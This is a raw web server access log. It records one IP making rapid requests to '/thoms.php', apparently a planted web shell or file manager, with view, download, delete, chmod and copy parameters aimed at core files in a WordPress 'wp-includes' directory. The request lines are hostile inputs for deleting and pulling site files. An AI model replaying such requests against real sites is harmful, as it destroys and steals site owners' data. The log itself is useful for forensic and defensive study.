45.135.193.11 - - [11/Sep/2026:23:28:14 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-editor.php HTTP/1.1" 200 33503 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-editor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:14 -0400] "GET /thoms.php?chmod=class-wp-term.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11528 "http://163.245.207.76:443/thoms.php?chmod=class-wp-term.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:14 -0400] "GET /thoms.php?dl=class-wp-ajax-response.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59155 "http://163.245.207.76:443/thoms.php?dl=class-wp-ajax-response.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:14 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-textdomain-registry.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11886 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-textdomain-registry.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:14 -0400] "GET /thoms.php?del=class-wp-comment-query.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?del=class-wp-comment-query.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:15 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-term-query.php HTTP/1.1" 200 23463 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-term-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:15 -0400] "GET /bossini.com.tw/wp-includes/class-wp-user.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:15 -0400] "GET /thoms.php?dl=class-wp-site.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?dl=class-wp-site.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:15 -0400] "GET /thoms.php?dl=class-wp-term-query.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?dl=class-wp-term-query.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:15 -0400] "GET /thoms.php?del=functions.wp-styles.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59158 "http://163.245.207.76:443/thoms.php?del=functions.wp-styles.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:15 -0400] "GET /thoms.php?dl=functions.wp-scripts.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59158 "http://163.245.207.76:443/thoms.php?dl=functions.wp-scripts.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:15 -0400] "GET /thoms.php?chmod=json-schema.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11527 "http://163.245.207.76:443/thoms.php?chmod=json-schema.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:15 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=ms-settings.php HTTP/1.1" 200 13646 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=ms-settings.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:15 -0400] "GET /bossini.com.tw/wp-includes/registration.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:15 -0400] "GET /thoms.php?chmod=class-wp-customize-control.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11538 "http://163.245.207.76:443/thoms.php?chmod=class-wp-customize-control.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:16 -0400] "GET /bossini.com.tw/wp-includes/class-wp-locale.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:16 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-roles.php HTTP/1.1" 200 14882 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-roles.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:16 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=compat.php HTTP/1.1" 200 18195 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=compat.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:16 -0400] "GET /thoms.php?chmod=interactivity-api&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11530 "http://163.245.207.76:443/thoms.php?chmod=interactivity-api&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:16 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes%2Ffonts HTTP/1.1" 200 14426 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes%2Ffonts" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:16 -0400] "GET /thoms.php?dl=class-wp-taxonomy.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59167 "http://163.245.207.76:443/thoms.php?dl=class-wp-taxonomy.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:16 -0400] "GET /thoms.php?del=author-template.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?del=author-template.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:16 -0400] "GET /thoms.php?chmod=ai-client.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=ai-client.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:16 -0400] "GET /bossini.com.tw/wp-includes/class-walker-comment.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:16 -0400] "GET /thoms.php?del=class-wp-oembed.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59156 "http://163.245.207.76:443/thoms.php?del=class-wp-oembed.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:17 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-walker-comment.php HTTP/1.1" 200 15958 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-walker-comment.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:17 -0400] "GET /bossini.com.tw/wp-includes/class-wp-paused-extensions-storage.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:16 -0400] "GET /thoms.php?del=class.wp-styles.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?del=class.wp-styles.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:17 -0400] "GET /thoms.php?del=class-wp-classic-to-block-menu-converter.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?del=class-wp-classic-to-block-menu-converter.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:17 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fcompat-utf8.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11881 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fcompat-utf8.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:17 -0400] "GET /bossini.com.tw/wp-includes/embed-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:17 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fdeprecated.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11884 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fdeprecated.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:17 -0400] "GET /bossini.com.tw/wp-includes/block-bindings.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:17 -0400] "GET /bossini.com.tw/wp-includes/abilities-api/ HTTP/1.1" 200 907 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:17 -0400] "GET /thoms.php?del=class-wp-role.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?del=class-wp-role.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:17 -0400] "GET /bossini.com.tw/wp-includes/block-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:17 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-block-template.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11878 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-block-template.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:17 -0400] "GET /thoms.php?chmod=class-wp-customize-widgets.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11528 "http://163.245.207.76:443/thoms.php?chmod=class-wp-customize-widgets.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:18 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-dependencies.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11890 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-dependencies.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:18 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes%2Fphp-compat HTTP/1.1" 200 12687 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes%2Fphp-compat" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:18 -0400] "GET /thoms.php?chmod=cache-compat.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11513 "http://163.245.207.76:443/thoms.php?chmod=cache-compat.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:18 -0400] "GET /thoms.php?del=class-wp-network.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?del=class-wp-network.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:18 -0400] "GET /thoms.php?dl=class-wp.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59079 "http://163.245.207.76:443/thoms.php?dl=class-wp.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:18 -0400] "GET /thoms.php?chmod=class-wp-styles.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=class-wp-styles.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:18 -0400] "GET /thoms.php?chmod=class-wp-taxonomy.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=class-wp-taxonomy.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:18 -0400] "GET /bossini.com.tw/wp-includes/ms-load.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:18 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=functions.wp-scripts.php HTTP/1.1" 200 18023 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=functions.wp-scripts.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:18 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fquery.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11877 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fquery.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:19 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-error.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11885 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-error.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:18 -0400] "GET /thoms.php?dl=post-formats.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59154 "http://163.245.207.76:443/thoms.php?dl=post-formats.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:19 -0400] "GET /thoms.php?chmod=general-template.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=general-template.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:18 -0400] "GET /thoms.php?dl=class-pop3.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59142 "http://163.245.207.76:443/thoms.php?dl=class-pop3.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:19 -0400] "GET /thoms.php?del=feed-rss2.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?del=feed-rss2.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:19 -0400] "GET /bossini.com.tw/wp-includes/registration-functions.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:19 -0400] "GET /thoms.php?del=https-migration.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59165 "http://163.245.207.76:443/thoms.php?del=https-migration.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:19 -0400] "GET /thoms.php?del=query.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59137 "http://163.245.207.76:443/thoms.php?del=query.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:19 -0400] "GET /thoms.php?del=utf8.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59167 "http://163.245.207.76:443/thoms.php?del=utf8.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:19 -0400] "GET /thoms.php?del=ai-client.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59162 "http://163.245.207.76:443/thoms.php?del=ai-client.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:20 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-http-requests-response.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11898 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-http-requests-response.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:20 -0400] "GET /bossini.com.tw/wp-includes/user.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:20 -0400] "GET /thoms.php?chmod=class-wp-feed-cache.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11539 "http://163.245.207.76:443/thoms.php?chmod=class-wp-feed-cache.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:20 -0400] "GET /bossini.com.tw/wp-includes HTTP/1.1" 301 795 "http://163.245.207.76:443/bossini.com.tw/wp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:20 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes%2FRequests HTTP/1.1" 200 12754 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes%2FRequests" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:20 -0400] "GET /thoms.php?dl=error-protection.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?dl=error-protection.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:20 -0400] "GET /bossini.com.tw/wp-includes/ HTTP/1.1" 200 9306 "https://163.245.207.76:443/bossini.com.tw/wp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:20 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=l10n.php HTTP/1.1" 200 29011 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=l10n.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:20 -0400] "GET /thoms.php?del=class-wp-block-bindings-registry.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59152 "http://163.245.207.76:443/thoms.php?del=class-wp-block-bindings-registry.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:21 -0400] "GET /thoms.php?chmod=ms-site.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11511 "http://163.245.207.76:443/thoms.php?chmod=ms-site.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:21 -0400] "GET /bossini.com.tw/wp-includes/rss.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:20 -0400] "GET /thoms.php?del=class-wp-image-editor-imagick.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59165 "http://163.245.207.76:443/thoms.php?del=class-wp-image-editor-imagick.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:21 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes%2Fblock-patterns HTTP/1.1" 200 14904 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes%2Fblock-patterns" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:21 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-metadata-lazyloader.php HTTP/1.1" 200 14104 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-metadata-lazyloader.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:21 -0400] "GET /thoms.php?del=class-wp-hook.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59165 "http://163.245.207.76:443/thoms.php?del=class-wp-hook.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
